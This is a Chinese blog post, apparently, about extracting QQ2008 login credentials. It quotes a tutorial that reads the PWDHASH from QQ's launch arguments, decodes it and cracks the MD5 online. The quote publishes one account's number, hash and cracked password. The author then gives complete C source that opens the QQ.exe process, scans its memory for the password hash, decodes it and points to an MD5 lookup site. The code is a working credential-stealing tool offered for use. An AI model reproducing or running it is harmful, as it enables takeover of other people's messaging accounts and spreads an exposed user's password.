伪“挖出QQ2008密码”

======================================引用网文==============================================
手工破解已登录QQ密码
需要的工具是PrcView（用来截取QQ启动信息）和Cain（用来转换密文）

第一步，打开PrcView，然后右键单击QQ，选择好友与资料，点击更新好友~~~然后QQ会重新登陆，登陆后，看到PrcView，右击QQ.exe进程，选择启动信息，这时可看到这一段信息：
/SessionType:3 /START QQUIN:561496607 PWDHASH:jHc/ygo2RH+UzyENqXReow== /STAT:10 /EMB_HWND:0 /NOAUTOSCAN

QQUIN:561496607 这个是QQ号的意思
jHc/ygo2RH+UzyENqXReow==
其中PWDHASH是腾讯加密MD5的密文，我们可以用CAIN来进行转换~~

第二步，打开Cain，点击工具里面的base64口令解码，将这段密文输入进去，然后进行转换，转换的密文会变成MD5密码
也就是这个MD5 8c773fca0a36447f94cf210da9745ea3

第三步，破解MD5密码。我们可以选择暴力破解，或者去http://www.cmd5.com/或http://www.xmd5.org/进行破解~~破解出来的密码就可以直接登陆了~~
下面我们去网站破解~~~
not find意思是没找到，我们再去另外一个网站看看~~~
需要付费。。。但是菜鸟们如果已经找到了MD5，破解起来只要密码不是太复杂，是可以轻松破解的~~~下面我公布这个QQ号的密码qiyuehui。我们验证下。。。
查询结果：
MD5(qiyuehui,32) = 8c773fca0a36447f94cf210da9745ea3
MD5(qiyuehui,16) = 0a36447f94cf210d
==============================引用到此结束======================================================
对此编写了以下代码 方便获取QQ2008登录的PWDHASH，同时增加了将Base64编码的还原功能。
原版：

新版：

新版的C源码如下：
#include <windows.h> #include <stdio.h> #include <conio.h> //从内存缓冲区中搜索指定的字节串 unsigned char *MemSearch(const unsigned char *mem, const int memSize, const unsigned char *patt, const int pattSize) { int i = 0, c = 0, td[256] = {0} ; const unsigned char *p, *t, *tx = mem; if (memSize <= 0 || pattSize <= 0) return NULL ; for (c=0; c<256; ++c) td[c] = pattSize + 1; for (p=patt, i=0; i<pattSize; ++p, ++i) td[*p] = pattSize - (p - patt); while (tx + pattSize <= mem + memSize) { for (p=patt, t=tx, i=0; i<pattSize; ++p, ++t, ++i) if (*p != *t) break; if (i == pattSize) return tx; //搜索到了 tx += td[ tx[pattSize] ] ; } return NULL; //没找着 } /*==================================================================== Base64解码函数 btSrc指向被解码的数据缓冲区 iSrcLen被解码的数据的大小（字节） btRet指向存放Base64解码的数据缓冲区 piRetLen指向存放Base64解码的数据缓冲区的长度 若btRet为NULL函数返回0，piRetLen传回btSrc的Base64解码所需缓冲区的大小 若btRet指向的缓冲区太小，函数返回-1 否则函数返回btSrc的Base64解码所需缓冲区的大小 =====================================================================*/ int DecodeBase64(BYTE *btSrc, int iSrcLen, BYTE *btRet, int *piRetLen) //Base64解码 { int i = 0, j = 0 ; BYTE EncodeBase64Map[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; BYTE DecodeBase64Map[256] = {0} ; for(j = iSrcLen; j>0 && '='==btSrc[j-1]; --j) ; //忽略=号 i = (j/4)*3+(j%4+1)/2; //计算解码后 字符串的长度 if(btRet != NULL) { if(*piRetLen < i) //Base64解码所需缓冲区偏小 return -1 ; *piRetLen = i ; //*piRetLen返回btSrc的Base64解码的缓冲区大小 } else { *piRetLen = i ; return 0 ; } j = sizeof(EncodeBase64Map) ; for(i=0; i<j; ++i) DecodeBase64Map[ EncodeBase64Map[i] ] = i ; for(i=j=0; i<iSrcLen; i+=4) { btRet[j++] = DecodeBase64Map[btSrc[i ]] << 2 | DecodeBase64Map[btSrc[i+1]] >> 4 ; btRet[j++] = DecodeBase64Map[btSrc[i+1]] << 4 | DecodeBase64Map[btSrc[i+2]] >> 2 ; btRet[j++] = DecodeBase64Map[btSrc[i+2]] << 6 | DecodeBase64Map[btSrc[i+3]] ; } return *piRetLen ; } //查找QQ密码的HASH值 有可能找到多个？ int FindPwdHash(HANDLE hProcess) { int iFindCount = 0 ; MEMORY_BASIC_INFORMATION mbi ; PBYTE pAddress = NULL, pMyBaseAddr = NULL ; int iReadCount = 0 ; char *pSearchStr = "/START QQUIN:" ; if(NULL == hProcess) return 0 ; while(TRUE) { //查询地址空间中内存地址的信息 if(VirtualQueryEx (hProcess, pAddress, &mbi, sizeof(mbi)) != sizeof(mbi)) { //printf("搜索结束!/n") ; break ; } // 我们只搜索类型为MEM_PRIVATE(私有的) 保护属性为PAGE_READWRITE(允许读写) if(MEM_PRIVATE == mbi.Type && PAGE_READWRITE == mbi.AllocationProtect) { char *p = NULL; UINT uiOffset = 0 ; pMyBaseAddr = (PBYTE)malloc(mbi.RegionSize+1) ; if(pMyBaseAddr == NULL) continue ; pMyBaseAddr[mbi.RegionSize] = '/0' ; //读取进程内存 ReadProcessMemory(hProcess, mbi.BaseAddress, pMyBaseAddr, mbi.RegionSize, &iReadCount) ; do { p = MemSearch(pMyBaseAddr+uiOffset, mbi.RegionSize+1-uiOffset, pSearchStr, strlen(pSearchStr)) ; if(p) { BYTE btTemp[64] = {0} ; int iCharCount = 0 ; char *q = NULL ; printf("QQ.exe ") ; iCharCount = printf("%s", p) ; printf("/n/n") ; q = MemSearch(p, iCharCount, "PWDHASH:", 8) ; if(q) //找到了 { int iRet = 0, i = 0 ; iRet = sizeof(btTemp) ; DecodeBase64(q+8, 24, btTemp, &iRet) ; printf("获取QQ密码的md5值：") ; for(i=0; i<iRet; ++i) printf("%0x", btTemp[i]) ; printf("/n你可以到http:/x2f/www.cmd5.com查询原密码（不一定能查出来）！/n/n") ; } ++iFindCount ; uiOffset = p - pMyBaseAddr + strlen(pSearchStr) ; if(uiOffset > mbi.RegionSize) break ; } } while(p) ; free (pMyBaseAddr) ; pMyBaseAddr = NULL ; } //printf("基地址：0x%X大小：%d字节/n", mbi.BaseAddress, mbi.RegionSize) ; pAddress = ((PBYTE)mbi.BaseAddress + mbi.RegionSize) ; } return iFindCount ; } //枚举QQ进程 函数返回QQ进程的个数 int EnumQQProcess(void) //获取qq的进程ID { int iQQProcCount = 0 ; DWORD PID = -1 ; HWND hParent = NULL ; HANDLE hProcess = NULL ; do { hParent = FindWindowEx (NULL, hParent, TEXT("#32770"), NULL) ; if (FindWindowEx (hParent, NULL, TEXT("Tencent_QQBar"), NULL)) { GetWindowThreadProcessId(hParent, &PID); //获得指定窗体所在的进程的进程号 hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID) ; //打开进程 if(NULL == hProcess) continue ; ++iQQProcCount ; printf("QQ[%d] PID=%d(0x%X)/n", iQQProcCount, PID, PID) ; if(FindPwdHash(hProcess) == 0) //查找QQ密码HASH值 { printf("没找到QQ密码的HASH值！/n可能是你还没点QQ“系统菜单”-->“好友与资料”" "-->“更新好友”，然后确定更新！/n/n") ; PostMessage(hParent, WM_COMMAND, 0x34E8, (LPARAM)hParent) ; } CloseHandle(hProcess) ; //关闭句柄 } }while(hParent) ; return iQQProcCount ; } int main(void) { printf("查找QQ2008密码的HASH值!/n目前已知对QQ2008有效，其他的不知道！/n/n") ; if(EnumQQProcess() == 0) printf("未找到QQ进程！/n") ; getch() ; return 0 ; }